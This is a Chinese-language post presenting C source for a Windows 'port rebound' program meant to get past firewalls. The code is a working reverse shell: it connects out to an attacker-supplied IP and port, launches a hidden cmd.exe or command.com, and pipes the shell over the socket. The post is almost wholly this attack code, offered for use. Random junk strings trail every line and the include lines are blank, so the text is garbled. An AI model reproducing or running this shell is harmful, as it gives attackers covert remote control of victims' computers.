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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l_MF9.z&  
:g+5cs  
/* ============================== sN_c4"\q  
Rebound port in Windows NT bzC| aUGM  
By wind,2006/7 'LyEdlC]  
===============================*/ U?[_ d  
#include p_g#iH!*  
#include 7C::%OF~7  
p!_3j^"{  
#pragma comment(lib,"wsock32.lib") [2l2w[7Rid  
\I[f@D-J  
void OutputShell(); Osk'zFiL<  
SOCKET sClient; WxrG o o^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g2|qGfl{C  
gx55.}  
void main(int argc,char **argv) xl]1{$1M  
{ aQTISX;  
WSADATA stWsaData; d siQ~ [   
int nRet; K!cLEG!G  
SOCKADDR_IN stSaiClient,stSaiServer; K8?]&.!  
b<]Ae!I'  
if(argc != 3) Nj^:8]D)0  
{ m8:9Uv  
printf("Useage:\n\rRebound DestIP DestPort\n"); *pP&$!bH%  
return; "B34+fOur  
} <pXF$a:s  
[J-uvxD  
WSAStartup(MAKEWORD(2,2),&stWsaData); knS(\51A  
ER'zjI>t@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VUF$,F9  
h't! 1u  
stSaiClient.sin_family = AF_INET; 4[P]+Z5b+  
stSaiClient.sin_port = htons(0); <8,,pOb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qtI42u{  
)/vse5EG+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1OOMqFn}L  
{ er44s^$  
printf("Bind Socket Failed!\n"); ToXgl4:kd  
return; !VoAN5#;  
} R2` -*PZ_  
#=81`u  
stSaiServer.sin_family = AF_INET; ]aDU*tk  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NE1n9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .G~Y`0  
I%Yeq"5RB  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <} BuU!  
{ k7cM.<s!  
printf("Connect Error!"); QO;OeMQv%  
return; #<k L.e[  
} :5DL&,,Q3  
OutputShell(); |H%[tkW6c  
} Gkr?M^@K  
}9FAM@x1K&  
void OutputShell() oz[Mt i*  
{ H-g CY|W  
char szBuff[1024]; |3SM  
SECURITY_ATTRIBUTES stSecurityAttributes;  qH9bo-6  
OSVERSIONINFO stOsversionInfo; M. o}?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; # ^q87y  
STARTUPINFO stStartupInfo; t"Tv(W?_  
char *szShell; t8:QK9|1  
PROCESS_INFORMATION stProcessInformation; PZ[hH(EX  
unsigned long lBytesRead; '&+5L.  
"WfVZBWG$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sWKe5@-o0  
eJ"je@vvrK  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q8GI;`Rb  
stSecurityAttributes.lpSecurityDescriptor = 0; 50='>|b  
stSecurityAttributes.bInheritHandle = TRUE; <u Kd)l  
ZdsYIRU#  
@GyxOc@6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h|Ah\P?o  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D9 \!97  
NSV;R~"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gZW(z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >gSiH#>  
stStartupInfo.wShowWindow = SW_HIDE; 7mT iO?/y<  
stStartupInfo.hStdInput = hReadPipe; TYH4r q &  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  {Yc#XP  
y8e'weK  
GetVersionEx(&stOsversionInfo); s)BB(vQ]6  
sn.0`Stt  
switch(stOsversionInfo.dwPlatformId) q?0&&"T}  
{ =&,<Co1hF  
case 1: uozK'L  
szShell = "command.com"; ?"Ec#,~  
break; 5fjL  
default: 98ot{+/LK  
szShell = "cmd.exe"; -`s_md0BM  
break; PO@b9O  
} J`d_=C?J  
ah2L8jN"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BTAt9Z8qK  
3vC"Q!J&  
send(sClient,szMsg,77,0); =#so[Pd  
while(1) SsBiCctn  
{ G 5!J9@Yi  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :v Do{My^1  
if(lBytesRead) 3 [r9v!l  
{ {"vTaY@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Bbj%RF2,  
send(sClient,szBuff,lBytesRead,0); *m6h(8(7Z  
} jM5w<T-2/  
else < pWk   
{ +zL|j/q?  
lBytesRead=recv(sClient,szBuff,1024,0); AA &>6JB{  
if(lBytesRead<=0) break; W20H4!G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oksAQnQe  
} L} Rsg'U  
} {Lg]chJq?  
A9 ;!\Wo  
return; r>,s-T!7  
}
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